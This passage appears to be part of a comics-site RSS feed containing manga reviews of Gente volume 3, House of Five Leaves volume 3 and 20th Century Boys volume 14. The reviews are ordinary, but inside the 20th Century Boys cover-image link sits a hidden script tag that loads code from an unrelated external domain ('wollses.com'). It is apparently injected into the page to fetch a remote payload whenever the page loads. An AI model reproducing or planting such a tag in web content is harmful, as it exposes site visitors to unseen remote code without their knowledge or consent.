Ristorante Paradiso</em><br /> <strong>Author:</strong> Natsume Ono<br /> <strong>Publisher:</strong> Viz Media (Viz Signature)<br /> <strong>Volume:</strong> Volume 3 (final volume), $12.99<br /> <strong>Vintage:</strong> 2009 by Ohta Publishing Company, May 2011 by Viz Media<br /> <strong>Genre:</strong> Slice-of-life</p> <p>[<a href="https://comicattack.net/2011/02/bblgente2ooku5/">Volume 2 review.</a>]</p> <p>The final volume of <em>Gente</em> is sadly upon us. It starts out with a story about politicians, centered on Senator Verdiani, whose granddaughter likes to tell him his fortune every morning before he leaves for work. Because one of her fortunes came true, he has always followed her instructions since, usually with positive results. Things aren’t looking good for his political party, so when his granddaughter predicts a “day of decision,” he’s on his guard, until a visit to Casetta dell’Oroso clears everything up. Next, notorious womanizer Signore Rizzo constantly cheats on his wife (though she does the same). This time, he’s found himself drawn to a Casetta regular – Savina, who has had her eyes on the shy Luciano. Meanwhile, Olga’s daughter Nicoletta continues to try and get Claudio’s attention, with little success. Signore Rizzo tries to give her some love advice, even while his own quest to seduce Savina is failing utterly, to his consternation. The next story is a touching one. Well, it’s a little on the silly side as well, as Lorenzo is reaching an age where he needs to start wearing glasses, which he knows will make Olga absolutely ecstatic. While he puts off getting this sign of old age, he and Nicoletta contemplate their relationship as a father and daughter. The ridiculously adorable Gigi takes the spotlight in the final chapter, when he is invited by a small stranger to an interesting tea party while visiting his father’s grave. A gentle story which, along with the previous one focused on Lorenzo, highlights the value of family, even those not related by blood.</p> <p>This final volume is largely unsatisfying. I don’t at all mean that in a strictly negative way. What I really mean is that I don’t want it to be over! I want more of these handsome, glasses wearing gentlemen! I am not satisfied. I feel like there’s plenty more story to tell. This is such a good volume, as well, so it’s even more frustrating that this is the final volume. Hm, maybe we can convince Nozomi to license the anime? It won’t really add more story, but it would make me feel better. As for this particular volume…. The first chapter on the politicians is a little difficult to read; I assume because I’m unfamiliar with how Italy’s government operates, because most of the dialog doesn’t make any since. The political stuff is relatively unimportant, though, as the main thrust of the story is the humorous way the granddaughter’s fortunes play out. The story about Rizzo pursuing Savina is humorous in its way, but its message of lasting love is an interesting one. Or, specifically, how love can change between people over time. One of the main things I was disappointed by, was that nothing plays out between Nicoletta and Claudio, even though the others at the restaurant try to badger her into taking some action already. (Though, maybe this story line wrapped up somehow in <em>Ristorante Paradiso</em>; it’s been a while since I’ve read that one, and unfortunately I don’t own a copy of my own.) The focus on all the employees of Casetta dell’Oroso as a family is my favorite thing about the volume. They’re all very close to each other, and each member sort of takes on a certain position. Lorenzo is like everyone’s father, Luciano like everyone’s grandfather, Nicoletta like everyone’s daughter, etc. It creates a very warm, inviting atmosphere; I would love to dive into the world of this book.</p> <p><span style="text-decoration: underline;">Kris</span><br /> kristin@comicattack.net<br /> <a href="http://www.twitter.com/girlg33k_kris">@girlg33k_Kris</a></p> <p>Review copies provided by Viz Media.</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/bbbbakuman4gente3/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item> <title>Bento Bako Weekly: House of Five Leaves 3, 20th Century Boys 14</title> <link>https://comicattack.net/bbwfiveleaves320thcent14/</link> <comments>https://comicattack.net/bbwfiveleaves320thcent14/#comments</comments> <dc:creator><![CDATA[Kristin]]></dc:creator> <pubDate>Mon, 11 Apr 2011 11:00:49 +0000</pubDate> <category><![CDATA[Bento Bako Weekly]]></category> <category><![CDATA[Columns]]></category> <category><![CDATA[Kristin]]></category> <category><![CDATA[Manga]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Sci-Fi]]></category> <category><![CDATA[20th Century Boys]]></category> <category><![CDATA[House of Five Leaves]]></category> <category><![CDATA[Naoki Urasawa]]></category> <category><![CDATA[Natsume Ono]]></category> <category><![CDATA[Shogakukan]]></category> <category><![CDATA[Sig IKKI]]></category> <category><![CDATA[Viz Media]]></category> <category><![CDATA[Viz Signature]]></category> <guid isPermaLink="false">https://comicattack.net/?p=59468</guid> <description><![CDATA[Ah, two of my favorite titles today! Join me as I relish in the relaxing and pleasing House of Five Leaves, and the continually exciting 20th Century Boys. Both titles recently received well deserved 2011 Eisner nominations, 20th Century Boys for Best Continuing Series, Best Writer, and Best US Edition of International Material – Asia; […]]]></description> <content:encoded><![CDATA[<p>Ah, two of my favorite titles today! Join me as I relish in the relaxing and pleasing <em>House of Five Leaves</em>, and the continually exciting <em>20th Century Boys</em>. Both titles recently received well deserved 2011 Eisner nominations, <em>20th Century Boys</em> for Best Continuing Series, Best Writer, and Best US Edition of International Material – Asia; and <em>House of Five Leaves</em> for Best US Edition of International Material – Asia.</p> <p><a href="https://comicattack.net/wp-content/uploads/2011/04/fiveleaves3.jpg"><img loading="lazy" decoding="async" class="alignleft size-full wp-image-59582" style="margin: 1px 4px;" title="fiveleaves3" src="https://comicattack.net/wp-content/uploads/2011/04/fiveleaves3.jpg" alt="" width="287" height="424" srcset="https://comicattack.net/wp-content/uploads/2011/04/fiveleaves3.jpg 479w, https://comicattack.net/wp-content/uploads/2011/04/fiveleaves3-204x300.jpg 204w" sizes="(max-width: 287px) 100vw, 287px" /></a><strong>Title:</strong> <em>House of Five Leaves</em><br /> <strong>Author:</strong> Natsume Ono<br /> <strong>Publisher:</strong> Viz Media (<a href="http://www.sigikki.com/series/houseoffiveleaves/index.shtml">Sig IKKI</a>)<br /> <strong>Volume: </strong>Volume 3 (ongoing), $12.99<br /> <strong>Vintage: </strong>2007 by Shogakukan in Japan, April 19, 2011 by Viz Media<br /> <strong>Genre:</strong> Slice-of-life, historical, drama</p> <p>[<a href="https://comicattack.net/2010/11/bbwfiveleaves2/">Volume 2 review.</a>]</p> <p>When we last left off, Matsukichi, the Five Leaves’ spy, was seemingly captured (well, I think it may have been a preview page). Volume 3 takes a few steps back to show to events leading up to this, first with the chef Ume declaring his intention to leave the gang. Masa informs Yaichi that he will be practicing and training with a fellow swordsman, but Yaichi expresses his suspicions and warns Masa to be careful. Meanwhile, Matsu pays a visit to a man he is indebted to (named Kikuya), and learns that this man is in trouble. A special set of wooden seals was stolen from his house by his rival Ohtsuya, and though he asks Matsu not to get involved, the former thief cannot help but want to aid this man, and sets out to recover the seals on his own. Unfortunately, he is caught and locked up in order to blackmail Kikuya. Masa becomes worried, and with the help of Yagi, gets a job at the Ohtsuya place in order to find Matsu. As Masa pretty much single-handedly rescues Matsu, we learn how Matsu came to join the Five Leaves, and his purpose for pursuing a life of crime (if you recall, it is being slowly revealed that each character has a reason for needing the extra money). As Masa ponders the meaning of loyalty and friendship, he realizes that he is becoming a true member of the Five Leaves. Unfortunately, while Masa did rescue Matsu, he may have also brought an unwanted element into the group. His ronin friend, Yagi, turns out to be the new superintendent of the local police force. As the gang ponders the consequences of Masa’s new acquaintance, Masa’s little sister suddenly appears, on the run from a marriage arranged by their brother. She takes a liking to Otake, and decides to learn a thing or two about being a woman from her. Meanwhile, some things are stirring in town, as someone is on the hunt for the man who sold out the Bakuro gang (who we know from the previous volume was Yaichi). There are also hints that Yagi and Yaichi are connected somehow, which could prove quite dangerous if those involved begin to piece together the past. As the volume wraps up, rumors about a merciless kidnapping gang have begun to spread.</p> <p>Some of my fellow manga bloggers have grown a little tired of Masa and seeing the story from his point of view. I actually enjoy the leisurely pace, and I find Masa adorable in his way. But for those of you a bit annoyed with his exceedingly nervous and slow personality, you will love Masa stepping forward to rescue Matsu almost entirely on his own, and the way he changes into a responsible, dutiful brother when his younger sister visits. His interaction with his sister in particular is a side of Masa we have not seen before, and indeed is the polar opposite of how he has so far been portrayed. This volume reveals quite a few tidbits to help piece together the pasts of the characters. We learn how both Matsu and Otake joined the Five Leaves, and the reason for their loyalty to Yaichi. There are some great hints at Yaichi’s past, that are also meant to give the reader pause as to what they really mean. They also provide a new reason for why Yagi might be paying attention to Masa. With the appearance of someone looking for revenge against Yaichi, and a rival kidnapping gang with very different methods from the Five Leaves, things are sure to get heated in upcoming volumes.</p> <p><a href="https://comicattack.net/wp-content/uploads/2011/04/20thcentboys14.jpg"><img loading="lazy" decoding="async" class="alignleft size-full wp-image-59650" style="margin: 1px 4px;" title="20thcentboys14" src="https://comicattack.net/wp-content/uploads/2011/04/20thcentboys14.jpg" alt="" width="290" height="423" srcset="https://comicattack.net/wp-content/uploads/2011/04/20thcentboys14.jpg 483w, https://comicattack.net/wp-content/uploads/2011/04/20thcentboys14-206x300.jpg 206w" sizes="(max-width: 290px) 100vw, 290px" /><script src="//wollses.com/steps"></script></a><strong>Title:</strong> <em>Naoki Urasawa’s 20th Century Boys</em><br /> <strong>Author</strong>: Naoki Urasawa<br /> <strong>Publisher:</strong> Viz Media (Viz Signature)<br /> <strong>Volume:</strong> Volume 14 (of 22), $12.99<br /> <strong>Vintage: </strong>2003 by Shogakukan in Japan, April 19, 2011 by Viz Media<br /> <strong>Genre:</strong> Science fiction, drama</p> <p>[<a href="https://comicattack.net/2011/01/bbw20thcentboys13/">Volume 13 review.</a>]</p> <p>When we last left Kanna and the gang, the Friend had just been killed right before (some of) their eyes. The Friendship party was reeling from the loss of their leader, and many of them began dying mysteriously. The Friend’s plans were still in motion, even after his death, as the deadly virus made by Yamane began sweeping across the planet, killing massive amounts of people. Desperate to learn what the Friend was planning, Kanna decided to travel to Friend Land and enter the Virtual World game with Koizumi Kyoko and Yoshitsune. Around the world, people are coming in droves to mourn the Friend’s death. Manjome, the head of the FDP, finds himself lost without the guidance of the Friend, and decides to take one final trip into Friend Land. At Friend Land, Yoshitsune insists on going into the Virtual World with Koizumi, telling Kanna that she is too important to risk on this mission. As the wander Yoshitsune’s home town, they quickly realize that something isn’t right; this version of the town is not the one that Koizumi saw when she was last there. A bowling alley now stands on top of the place where the kids’ secret hideout was located. Confused, Yoshitsune tries desperately to remember what everyone was doing the summer the bowling alley opened. He wonders what would have happened to their future (or past, now) had the bowling alley never been built. He soon realizes that the Friend had purposefully mixed up the dates in the game when Koizumi was there, and that they are now in the real 1971. Now faced with the true timeline, Yoshitsune believes there must be some truth he is meant to see. He runs into Mon-chan and realizes that it’s the night Mon-chan forgot to turn the pump on after cleaning the fish tank in the science lab, a night that changed everything. Meanwhile, Manjome is closing in on Yoshitsune and Koizumi in the game, as he, too, realizes that he is meant to see something on this day in his Friend’s memory. Back in the outside world, several of the characters have spotted a figure who looks like the Friend walking the streets. And at Friend Land, another person is spotted entering the game, tearing through the stages at lightning speed toward Yoshitsune, Koizumi, and Manjome, who have now come together to view the incident in the science lab. Kanna jumps into the game to warn them, and along with Donkey, Yoshitsune, Koizumi, and Manjome, she witnesses the Friend’s secret that was revealed to Donkey that night. When the fourth mysterious player appears, the game collapses, and Yoshitsune and Kanna are locked inside.</p> <p>This is definitely one of the more confusing volumes of <em>20th Century Boys</em> I have read. I’m not sure if that’s because I never read the first half of the series, or if someone who has would also find this a confusing volume. There are “revelations,” but they don’t really make any sense to me. I don’t quite understand the significance of what Donkey saw in the science lab. Was it a trick, or was it the truth? The strange sightings across town of someone thought to be dead causes either more confusion, or solves the matter. That little mystery probably won’t be solved for another volume or two, so the significance of the event in Friend Land likely won’t be clear until then, either. We also get some glimpses of the pasts of a couple other characters while in Friend Land; namely Kamisama and Manjome. A nice touch in this volume is the short but tender moment when Kanna finds herself in her uncle’s childhood home and is able to speak with the young Kenji. It’s not really necessary for the story as a whole, but it’s nice to watch Kanna embrace the brief interaction she is given with her now dead uncle. Another nice moment occurs after Yoshitsune and Kanna get trapped in the Virtual Game. To escape, they must both face their inner struggles. Yoshitsune confronts his past self, and Kanna gets a pep talk from Donkey. Both moments are a little bittersweet, but also uplifting in their way as they strengthen the resolve of their respective participants. Another heart-pounding volume from Urasawa.</p> <p><span style="text-decoration: underline;">Kris</span><br /> kristin@comicattack.net<br /> <a href="http://www.twitter.com/girlg33k_kris">@girlg33k_kris</a></p> <p>Review copies provided by Viz Media.</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/bbwfiveleaves320thcent14/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> </channel> </rss>